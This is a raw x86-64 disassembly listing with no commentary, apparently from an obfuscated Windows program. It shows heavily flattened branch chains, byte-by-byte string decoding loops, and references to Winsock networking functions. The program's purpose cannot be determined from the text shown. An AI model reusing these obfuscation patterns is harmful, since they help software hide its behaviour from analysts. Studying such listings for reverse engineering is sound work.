jmp 0x14018ad00
add r11b, 0x68
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14018acf0
lea rbx, [rbp + 0x16654da]
jmp 0x14018b8c7
lea rbx, [rbp + 0x1745252]
jmp 0x14018b8c7
lea rbx, [rbp + 0x83a]
lea rcx, [rbp + 0x6d0]
call fcn.140135f90
mov r8, r13
inc r8
cmp byte [rbx + r8], 0
jne 0x14018b8d6
mov rdx, rbx
lea rcx, [rbp + 0x6d0]
call fcn.14013c7a0
lea rdx, [rbp + 0x6d0]
lea rcx, [rbp + 0x8d0]
call fcn.1401520a0
cmp byte [rbp + 0x8d0], 0
je 0x14018e770
xorps xmm0, xmm0
lea rcx, [rbp + 0x2a0]
movups xmmword [rbp + 0x2a0], xmm0
call fcn.1401bede0
mov rdx, qword [rbp + 0x8e0]
lea rcx, [rbp + 0x2b0]
sub rdx, qword [rbp + 0x8d8]
xorps xmm0, xmm0
sar rdx, 3
movups xmmword [rbp + 0x2b0], xmm0
call fcn.1401bece0
cmp byte [rbp + 0x19b], 0
mov rbx, rax
je 0x14018bac4
xor r8d, r8d
cmp esi, 2
jl 0x14018ba79
movdqa xmm2, xmmword [0x140495430]
mov r8d, 8
movdqa xmm3, xmmword [0x140495440]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140495640]
movdqa xmm0, xmm2
mov eax, dword [0x140495530]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140495460]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1404954d0]
movd xmm1, dword [rbp + 0x190]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp + 0x190], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140495460]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1404954d0]
movd xmm1, dword [rbp + 0x194]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x194], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x190]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x14018ba90
mov r8, r15
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x2c0]
call fcn.1401bef50
mov r9, r15
lea rcx, [rbp + 0x9c0]
mov r8, rbx
mov rdx, rax
call fcn.1401bf560
lea rcx, [rbp + 0x2c0]
call fcn.14015a7f0
lea rcx, [rbp + 0x2b0]
call fcn.14015a7f0
mov rax, qword [rbp + 0x8e0]
xor ebx, ebx
sub rax, qword [rbp + 0x8d8]
mov r13d, ebx
sar rax, 3
test rax, rax
je 0x14018e6fc
movzx r15d, byte [rbp + 0xc88]
mov r12d, ebx
movzx r14d, byte [rbp + 0xc88]
movzx esi, byte [rbp + 0xc88]
jmp 0x14018bb52
xor ebx, ebx
lea rcx, [rbp + 0x6f0]
call fcn.140135f90
lea rcx, [rbp + 0x6f0]
call fcn.140135980
lea rcx, [rbp + 0x710]
call fcn.140135f90
lea rcx, [rbp + 0x710]
call fcn.140135980
lea rcx, [rbp + 0x730]
call fcn.140135f90
lea rcx, [rbp + 0x730]
call fcn.140135980
mov rax, qword [rbp + 0x8d8]
mov dword [rbp + 0x2d0], 0x2fc5c326
mov dword [rbp + 0x2d4], 0x4fdc2cc1
lea rdi, [rax + r12*8]
xor eax, eax
mov qword [rbp + 0x2d8], rax
mov r8, qword [0x14051e4d0]
mov r10, qword [0x14051e4d8]
mov r11, rbx
cmp r11, 0x10
jae 0x14018c718
movzx r9d, byte [rbp + r11 + 0x2d0]
mov rdx, r9
nop dword [rax]
cmp r8, r11
ja 0x14018c70f
lea rax, [r10 + 1]
cmp r8, rax
jae 0x14018bc23
movabs r15, 0xc4efa35759c148cd
add r15, r11
movzx eax, r15b
and al, dl
add al, al
sub r15b, al
add r15b, 0x65
add r15b, dl
jmp 0x14018bc50
je 0x14018c693
lea rax, [r10 + 2]
cmp r8, rax
je 0x14018c601
lea rax, [r10 + 5]
cmp r8, rax
je 0x14018c5cf
lea rax, [r10 + 6]
cmp r8, rax
je 0x14018c5ae
cmp r10, r11
ja 0x14018c706
lea rax, [r10 + 0x80]
cmp r8, rax
jae 0x14018bc7d
lea ecx, [r11 - 0x2f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
add r15b, 0x49
jmp 0x14018bcc0
lea rax, [r10 + 1]
cmp r8, rax
je 0x14018c56a
lea rax, [r10 + 2]
cmp r8, rax
je 0x14018c549
lea rax, [r10 + 4]
cmp r8, rax
je 0x14018c52e
lea rax, [r10 + 5]
cmp r8, rax
je 0x14018c513
lea rax, [r10 + 8]
cmp r8, rax
je 0x14018c4e6
nop
lea rax, [r8 + r10]
cmp rax, r11
jbe 0x14018c1dc
nop dword [rax]
lea rax, [r10 + 0x5a]
cmp r8, rax
je 0x14018c1b9
lea rax, [r10 + 0x1000]
cmp r8, rax
je 0x14018c190
lea rax, [r10 + 8]
cmp r8, rax
je 0x14018c16f
lea rax, [r10 + 3]
cmp r8, rax
je 0x14018c151
lea rax, [r10 + 0x20]
cmp r8, rax
je 0x14018c131
lea rax, [r10 + 0x400]
cmp r8, rax
je 0x14018c116
lea rax, [r10 + 0x64]
cmp r8, rax
je 0x14018c0e9
lea rax, [r10 + 2]
cmp r8, rax
je 0x14018bcd0
lea r8, [r10 + 0x2a]
lea r10, [r8 + 0x41]
lea rax, [r10 + 0x61]
cmp r8, rax
jb 0x14018c6e7
lea rax, [r10 + 9]
cmp r8, rax
jb 0x14018c6c8
lea rax, [r10 + 4]
cmp r8, rax
jb 0x14018be8f
lea rax, [r10 + 0x80]
cmp r8, rax
jb 0x14018be74
lea rax, [r10 + 0x28]
cmp r8, rax
jb 0x14018be59
lea rax, [r10 + 0x5a]
cmp r8, rax
jb 0x14018c0a0
lea rax, [r10 + 0x1000]
cmp r8, rax
jb 0x14018c04f
lea rax, [r10 + 8]
cmp r8, rax
jb 0x14018c00b
lea rax, [r10 + 3]
cmp r8, rax
jb 0x14018bfe5
lea rax, [r10 + 0x64]
cmp r8, rax
jb 0x14018bcd0
lea r8, [r10 + 0x40]
lea r10, [r8 + 0x20]
lea rax, [r10 + 0xa]
cmp r8, rax
ja 0x14018bfb7
lea rax, [r10 + 0x61]
cmp r8, rax
ja 0x14018bf98
lea rax, [r10 + 0x200]
cmp r8, rax
ja 0x14018bf79
lea rax, [r10 + 4]
cmp r8, rax
ja 0x14018bf59
lea rax, [r10 + 0x2a]
cmp r8, rax
ja 0x14018bf39
lea rax, [r10 + 0x28]
cmp r8, rax
ja 0x14018bf19
lea rax, [r10 + 9]
cmp r8, rax
ja 0x14018bef7
lea rax, [r10 + 0x1000]
cmp r8, rax
ja 0x14018bece
lea rax, [r10 + 0x80]
cmp r8, rax
ja 0x14018beaa
lea r8, [r10 + 1]
lea r10, [r8 + 0x5a]
jmp 0x14018bcd0
lea ecx, [r11 + 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
sub r15b, 0x29
jmp 0x14018bcc0
lea ecx, [r11 - 0x4b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
add r15b, 0xd
jmp 0x14018bc50
lea ecx, [r11 + 0x1b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
add r15b, 0x43
jmp 0x14018bbe6
lea edx, [r11 - 0x78]
mov ecx, 0x24
movzx eax, r9b
movzx ebx, r11b
and al, dl
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r9b
add r15b, dl
jmp 0x14018c583
lea edx, [r11 - 0x12]
mov ecx, 0x3f
movzx eax, r9b
inc r10
and al, dl
dec r11
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r9b
add r15b, dl
inc r11
jmp 0x14018bbd3
lea ecx, [r11 + 0x54]
movzx eax, r9b
and al, cl
dec r11
add al, al
sub r9b, al
lea r15d, [rcx + r9]
sub r15b, 0x4c
inc r11
jmp 0x14018bbd3
lea edx, [r11 - 0x46]
movzx eax, r9b
and al, dl
movzx r15d, r9b
add al, al
movzx ebx, r11b
sub r15b, al
sub r15b, 0x16
jmp 0x14018c497
lea edx, [r11 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, r9b
and al, dl
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r9b
add r15b, dl
jmp 0x14018c5e5
lea edx, [r11 - 0x7a]
mov ecx, 0x2b
movzx eax, r9b
and al, dl
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r9b
add r15b, dl
jmp 0x14018c5e8
lea edx, [r11 - 0x14]
movzx eax, r9b
and al, dl
movzx r15d, r9b
add al, al
sub r15b, al
sub r15b, 0x74
add r15b, dl
jmp 0x14018c623
lea edx, [r11 + 0x52]
movzx eax, r9b
and al, dl
movzx r15d, r9b
add al, al
sub r15b, al
sub r15b, 0x3e
add r15b, dl
jmp 0x14018c64e
lea ecx, [r11 - 0x48]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r10
add r11, rax
lea r15d, [rcx + r9]
sub r15b, 8
inc r11
jmp 0x14018bbd3
lea ecx, [r11 - 0x49]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea r15d, [rcx + r9]
dec r15b
mov byte [rbp + r11 + 0x2d0], r15b
inc r11
jmp 0x14018bbd3
lea edx, [r11 + 0x1d]
movzx eax, r9b
and al, dl
movzx r15d, r9b
add al, al
sub r15b, al
add r15b, 0x35
add r15b, dl
cmp r10, 9
jb 0x14018bffb
mov ecx, 0x1f
movzx ebx, r11b
movzx eax, r9b
lea edx, [rbx - 0x52]
and al, dl
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea r15d, [rcx + rcx]
jmp 0x14018c583
lea edx, [r11 - 0x7d]
movzx eax, r9b
and al, dl
movzx r15d, r9b
add al, al
sub r15b, al
add r15b, 0x6b
add r15b, dl
cmp r8, 0x1000
jae 0x14018c478
lea rax, [r10 + 0x3e8]
cmp r8, rax
jbe 0x14018c399
mov ecx, 0x2d
lea edx, [r11 - 0x56]
movzx eax, r9b
and al, dl
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r9b
jmp 0x14018c022
lea ecx, [r11 - 0x17]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
sub r15b, 0x5f
lea rax, [r8 + r10]
cmp rax, 8
je 0x14018c4bf
lea rcx, [r10 + 5]
cmp r8, rcx
jbe 0x14018c304
lea ecx, [r11 - 0x27]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
add r15b, 0x11
jmp 0x14018c069
lea ecx, [r11 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r10
add r11, rax
lea r15d, [r9 + rcx]
sub r15b, 0x4a
inc r11
jmp 0x14018bbd3
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
sub r15b, 0x14
jmp 0x14018c64e
lea edx, [r11 + 0x18]
mov ecx, 0x2c
movzx eax, dl
and al, r9b
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r9b
jmp 0x14018c5e8
movzx ebx, r11b
lea ecx, [rbx - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
sub r15b, 0x3c
jmp 0x14018c49a
lea ecx, [r11 + 0x4a]
dec r11
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
sub r15b, 6
inc r11
jmp 0x14018bbd3
lea edx, [r11 - 0x50]
mov ecx, 0x18
movzx eax, dl
inc r10
and al, r9b
dec r11
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r9b
inc r11
jmp 0x14018bbd3
mov ecx, reloc.WS2_32.dll_gethostbyaddr
movzx ebx, r11b
lea edx, [rbx + 0x16]
movzx eax, dl
and al, r9b
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r9b
jmp 0x14018c583
lea rax, [r10 + 6]
cmp r8, rax
jae 0x14018c200
lea ecx, [r11 - 0x33]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
add r15b, 0x65
jmp 0x14018c0b6
lea rcx, [r10 + 1]
cmp r8, rcx
jne 0x14018c236
lea ecx, [r11 - 0x5e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r10
add r11, rax
lea r15d, [r9 + rcx]
sub r15b, 0x6e
inc r11
jmp 0x14018bbd3
lea rax, [r10 + 2]
cmp r8, rax
jne 0x14018c25f
lea edx, [r11 - 0x2a]
mov ecx, reloc.WS2_32.dll_send
movzx eax, dl
and al, r9b
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r9b
jmp 0x14018c623
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14018c283
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
sub r15b, 0x10
jmp 0x14018c5e8
lea rax, [r10 + 3]
cmp r8, rax
jne 0x14018c2aa
movzx ebx, r11b
lea ecx, [rbx - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
sub r15b, 0x7c
jmp 0x14018c49a
lea rax, [r10 + 4]
cmp r8, rax
jne 0x14018c2d9
lea edx, [r11 + 0x3e]
mov ecx, 0x27
movzx eax, dl
dec r11
and al, r9b
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r9b
inc r11
jmp 0x14018bbd3
lea rax, [r10 + 6]
cmp r8, rax
jne 0x14018c0b6
movzx ebx, r11b
lea ecx, [rbx + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
sub r15b, 0x1e
jmp 0x14018c583
lea rax, [r10 + 1]
cmp r8, rax
jne 0x14018c32b
movzx ebx, r11b
lea ecx, [rbx + 0x73]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
sub r15b, 0x25
jmp 0x14018c583
inc rax
cmp r8, rax
jne 0x14018c351
movzx ebx, r11b
lea ecx, [rbx + 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
add r15b, 0x39
jmp 0x14018c49a
cmp r8, rcx
jne 0x14018c371
lea ecx, [r11 - 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
add r15b, 3
jmp 0x14018c5e5
lea rax, [r10 + 3]
cmp r8, rax
jne 0x14018c069
lea ecx, [r11 + 0xf]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
sub r15b, 0x69
jmp 0x14018c623
lea rax, [r10 + 1]
cmp r8, rax
jne 0x14018c3d4
lea edx, [r11 + 0x44]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r10
add r11, rax
lea r15d, [rcx + rcx]
add r15b, r9b
add r15b, dl
inc r11
jmp 0x14018bbd3
inc rax
cmp r8, rax
jne 0x14018c3fb
lea edx, [r11 - 0x22]
movzx eax, r9b
and al, dl
movzx r15d, r9b
add al, al
sub r15b, al
sub r15b, 0x12
add r15b, dl
jmp 0x14018c64e
lea rax, [r10 + 2]
cmp r8, rax
jne 0x14018c423
lea edx, [r11 + 0x78]
movzx eax, r9b
and al, dl
movzx r15d, r9b
add al, al
sub r15b, al
sub r15b, 0x48
add r15b, dl
jmp 0x14018c623
lea rax, [r10 + 3]
cmp r8, rax
jne 0x14018c448
lea ecx, [r11 + 0x12]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea r15d, [rcx + r9]
sub r15b, 0x7e
jmp 0x14018c5e8
lea rax, [r10 + 8]
cmp r8, rax
jne 0x14018c025
mov ecx, 0x3a
movzx ebx, r11b
movzx eax, r9b
lea edx, [rbx + 0x14]
and al, dl
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r9b
add r15b, dl
jmp 0x14018c583
movzx ecx, byte [rbp + r11 + 0x2d0]
movzx ebx, r11b
movzx eax, r9b
lea edx, [rbx + 0x48]
and al, dl
sub cl, al
add cl, 4
lea r15d, [rcx + rcx]
add r15b, dl
movzx eax, r9b
add bl, 0x15
and al, bl
add al, al
sub r9b, al
add r9b, 0x6d
add r9b, r15b
add r9b, bl
mov byte [rbp + r11 + 0x2d0], r9b
jmp 0x14018c5e5
lea edx, [r11 - 0x1e]
movzx eax, r9b
and al, dl
movzx r15d, r9b
add al, al
sub r15b, al
sub r15b, byte [rbp + r11 + 0x2d0]
sub r15b, 0x2e
add r15b, dl
jmp 0x14018c623
lea ecx, [r11 + 0x3b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r10
add r11, rax
lea r15d, [r9 + rcx]
add r15b, 0x63
inc r11
jmp 0x14018bbd3
lea ecx, [r11 + 0x6d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
add r15b, 5
jmp 0x14018c5e8
lea ecx, [r11 - 0x2d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
add r15b, 0x3b
jmp 0x14018c5e5
lea ecx, [r11 - 0x61]
dec r11
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
sub r15b, 0x59
inc r11
jmp 0x14018bbd3
movzx ebx, r11b
lea ecx, [rbx + 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
add r15b, 0x13
movzx eax, r9b
add bl, 0x7b
and al, bl
add al, al
sub r9b, al
sub r9b, 0x5d
add r9b, bl
mov byte [rbp + r11 + 0x2d0], r9b
inc r10
dec r11
inc r11
jmp 0x14018bbd3
lea ecx, [r11 + 3]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
sub r15b, 0x15
dec r11
inc r11
jmp 0x14018bbd3
lea ecx, [r11 - 0x31]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r15d, [r9 + rcx]
add r15b, 0x57
add r8, r10
movzx eax, r15b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018bbd3
movabs rcx, 0x628d77637448fd9b
movzx r9d, dl
add rcx, r11
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r15d, [r9 + rcx]
sub r15b, 0x3d
lea edx, [r11 - 0x51]
movzx eax, r9b
and al, dl
inc r10
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x37
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x2d0], al
add rax, r10
sub r11, rax
lea ecx, [r11 + 0x7c]
movzx eax, r9b
and al, cl
inc r8
add al, al
sub r9b, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub r9b, 0x64
add r9b, cl
mov byte [rbp + r11 + 0x2d0], r9b
add r11, rax
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r10
add r11, rax
inc r11
jmp 0x14018bbd3
movabs rcx, 0x4eceea060d43da67
add rcx, r11
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r15d, [rdx + rcx]
add r15b, 0x2f
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r10
add r11, rax
inc r11
jmp 0x14018bbd3
sub r11b, 0x7f
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
add r15b, 0x79
xor ebx, ebx
jmp 0x14018bbd0
sub r11b, 0x19
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea r15d, [r11 + r9]
sub r15b, 0x51
xor ebx, ebx
jmp 0x14018bbc2
lea rbx, [rbp + 0x15cec8c]
jmp 0x14018c71f
lea rbx, [rbp + 0x11e3559]
jmp 0x14018c71f
lea rbx, [rbp + 0x2d0]
lea rcx, [rbp + 0x750]
call fcn.140135f90
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x14018c732
mov rdx, rbx
lea rcx, [rbp + 0x750]
call fcn.14013c7a0
lea r8, [rbp + 0x6f0]
mov rcx, rdi
lea rdx, [rbp + 0x750]
call fcn.140151ed0
lea rcx, [rbp + 0x750]
call fcn.1401358f0
mov rax, qword [rbp + 0x8d8]
mov dword [rbp + 0x440], 0x968c786d
mov dword [rbp + 0x444], 0x9b75748a
mov dword [rbp + 0x448], 0x818f839d
lea rdi, [rax + r12*8]
mov byte [rbp + 0x44c], reloc.WS2_32.dll_inet_ntoa
xor eax, eax
mov qword [rbp + 0x44d], rax
mov dword [rbp + 0x455], eax
mov byte [rbp + 0x459], al
mov r8, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
xor r11d, r11d
cmp r11, 0x1a
jae 0x14018d390
movzx r10d, byte [rbp + r11 + 0x440]
mov rdx, r10
nop dword [rax]
cmp r8, r11
ja 0x14018d387
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14018c813
movabs r14, 0xeb3375747b2a0104
add r14, r11
movzx eax, r14b
and al, dl
add al, al
sub r14b, al
sub r14b, 0x1c
add r14b, dl
jmp 0x14018c850
je 0x14018d30b
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018d2d9
lea rax, [r9 + 4]
cmp r8, rax
je 0x14018d2a0
lea rax, [r9 + 2]
cmp r8, rax
je 0x14018d277
lea rax, [r9 + 9]
cmp r8, rax
je 0x14018d233
nop dword [rax]
cmp r9, r11
ja 0x14018d37e
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x14018c87d
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x4c
jmp 0x14018c8c0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14018d213
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018d1ed
lea rax, [r9 + 4]
cmp r8, rax
je 0x14018d1cf
lea rax, [r9 + 2]
cmp r8, rax
je 0x14018d1b4
lea rax, [r9 + 5]
cmp r8, rax
je 0x14018d126
nop
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x14018ce2f
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x14018ce11
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14018cded
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14018cdcc
lea rax, [r9 + 6]
cmp r8, rax
je 0x14018cda9
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14018cd89
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018cd6e
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14018cd53
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14018cd33
lea rax, [r9 + 2]
cmp r8, rax
je 0x14018cd01
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14018c8d0
lea r8, [r9 + 6]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14018d361
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14018d340
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14018cabf
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14018ca9f
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14018ca84
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14018ccbd
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14018cc7a
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14018cc38
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14018cc12
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14018c8d0
lea r8, [r9 + 0x80]
lea r9, [r8 + 0xa]
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14018cbe0
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14018cbc0
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14018cba5
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14018cb8a
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14018cb6c
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14018cb48
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14018cb22
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14018cafe
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14018cadf
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14018c8d0
lea r8, [r9 + 0x10]
lea r9, [r8 + 3]
jmp 0x14018c8d0
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x34
jmp 0x14018c8c0
lea edx, [r11 + 0x24]
mov ecx, 2
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x14018c850
lea edx, [r11 + 0x1c]
mov ecx, 0x1e
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x14018c7d6
lea ecx, [r11 - 0x60]
movzx ebx, r11b
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x60
jmp 0x14018d24c
lea ecx, [r11 - 0x68]
inc r9
movzx eax, cl
dec r11
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x28
inc r11
jmp 0x14018c7c3
lea edx, [r11 - 0x70]
mov ecx, 8
movzx eax, dl
dec r11
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
inc r11
jmp 0x14018c7c3
lea edx, [r11 - 0x78]
mov ecx, 0x24
movzx eax, dl
movzx ebx, r11b
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x14018d2b9
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
add r14b, 0x80
jmp 0x14018d2ef
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x48
jmp 0x14018d2f2
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x10
jmp 0x14018d141
lea edx, [r11 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x14018d16d
lea edx, [r11 + 0x60]
mov ecx, gethostbyaddr
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 + 0x440]
add rax, r9
add r11, rax
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
inc r11
jmp 0x14018c7c3
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x14
mov byte [rbp + r11 + 0x440], r14b
inc r11
jmp 0x14018c7c3
lea edx, [r11 + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
cmp r9, 0x40
jb 0x14018cc28
movzx ebx, r11b
lea ecx, [rbx - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea r14d, [rcx*2 - 0x50]
jmp 0x14018d24c
lea edx, [r11 + 0x3c]
mov ecx, 0x2e
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
cmp r8, 3
jae 0x14018d0e2
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x14018d041
lea edx, [r11 + 0x48]
mov ecx, 4
movzx eax, dl
and al, r10b
jmp 0x14018cc47
lea ecx, [r11 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x6c
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x14018d10c
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x14018cf0a
lea edx, [r11 - 0xc]
mov ecx, 0x2a
